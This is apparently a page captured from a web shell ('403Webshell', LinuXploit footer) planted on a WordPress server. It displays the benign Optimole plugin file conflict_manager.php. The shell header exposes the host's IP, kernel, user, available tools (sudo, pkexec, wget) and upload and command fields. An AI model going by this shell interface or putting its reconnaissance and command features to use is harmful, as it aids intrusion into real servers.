403Webshell
Server IP : 103.88.176.108  /  Your IP : 216.73.216.211
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux webserver 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/optimole-wp/inc/conflicts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/optimole-wp/inc/conflicts/conflict_manager.php
<?php
/**
 * The Conflict Manager class, orchestrates conflicts.
 *
 * @package    \Optimole\Inc\Conflicts
 * @author     Optimole <friends@optimole.com>
 */

/**
 * Class Optml_Conflict_Manager
 *
 * @since   2.0.6
 */
class Optml_Conflict_Manager {
	/**
	 * List of conflicts to watch.
	 *
	 * @since   2.0.6
	 * @access  protected
	 * @var array $watched_conflicts
	 */
	protected $watched_conflicts = [];
	/**
	 * List of conflicts dismissed by user.
	 *
	 * @since   2.0.6
	 * @access  protected
	 * @var array $dismissed_conflicts
	 */
	protected $dismissed_conflicts = [];



	/**
	 * Optml_Conflict_Manager constructor.
	 *
	 * @since   2.0.6
	 * @access  public
	 * @param array $register_conflicts A list of conflicts to be registered.
	 */
	public function __construct( $register_conflicts = [] ) {
		$this->dismissed_conflicts = get_option( 'optml_dismissed_conflicts', [] );
		if ( ! empty( $register_conflicts ) ) {
			foreach ( $register_conflicts as $conflict_to_watch ) {
				$this->watch( $conflict_to_watch );
			}
		}
	}

	/**
	 * Add a conflict to the watched conflicts.
	 *
	 * @since   2.0.6
	 * @access  public
	 * @param string $conflict A conflict class name.
	 */
	public function watch( $conflict ) {
		if ( is_subclass_of( new $conflict(), 'Optml_Abstract_Conflict' ) ) {
			array_push( $this->watched_conflicts, new $conflict() );
		}
	}

	/**
	 * Dismiss conflict.
	 *
	 * @since   2.0.6
	 * @access  public
	 * @param string $id The conflict ID.
	 *
	 * @return bool
	 */
	public function dismiss_conflict( $id ) {
		$this->dismissed_conflicts[ $id ] = 'true';
		return update_option( 'optml_dismissed_conflicts', $this->dismissed_conflicts );
	}

	/**
	 * Get the conflict list.
	 *
	 * @since   2.0.6
	 * @access  public
	 * @return array
	 */
	public function get_conflict_list() {
		$conflict_list = [];
		if ( empty( $this->watched_conflicts ) ) {
			return $conflict_list;
		}

		/**
		 * An instance of Optml_Abstract_Conflict
		 *
		 * @var Optml_Abstract_Conflict $conflict
		 */
		foreach ( $this->watched_conflicts as $conflict ) {
			if ( $conflict->is_active( $this->dismissed_conflicts ) ) {
				array_push( $conflict_list, $conflict->get_conflict() );
			}
		}

		// Sort conflicts by severity and priority.
		usort(
			$conflict_list,
			function ( $item1, $item2 ) {
				if ( ! isset( $item1['severity'] ) ) {
					return -1;
				}
				if ( ! isset( $item2['severity'] ) ) {
					return -1;
				}
				$severity_map = [
					'high' => 0,
					'medium' => 1,
					'low' => 1,
				];

				if ( $severity_map[ $item1['severity'] ] === $severity_map[ $item2['severity'] ] ) {
					if ( ! isset( $item1['priority'] ) ) {
						return 0;
					}
					if ( ! isset( $item2['priority'] ) ) {
						return 0;
					}
					if ( $item1['priority'] === $item2['priority'] ) {
						return 0;
					}
					return $item1['priority'] < $item2['priority'] ? -1 : +1;
				}
				return $severity_map[ $item1['severity'] ] < $severity_map[ $item2['severity'] ] ? -1 : 1;
			}
		);

		return $conflict_list;
	}

	/**
	 * Get the total count for active conflicts.
	 *
	 * @since   2.0.6
	 * @access  public
	 * @return int
	 */
	public function get_conflict_count() {
		if ( empty( $this->watched_conflicts ) ) {
			return 0;
		}

		$count = 0;
		/**
		 * An instance of Optml_Abstract_Conflict
		 *
		 * @var Optml_Abstract_Conflict $conflict
		 */
		foreach ( $this->watched_conflicts as $conflict ) {
			if ( $conflict->is_active( $this->dismissed_conflicts ) ) {
				++$count;
			}
		}
		return $count;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit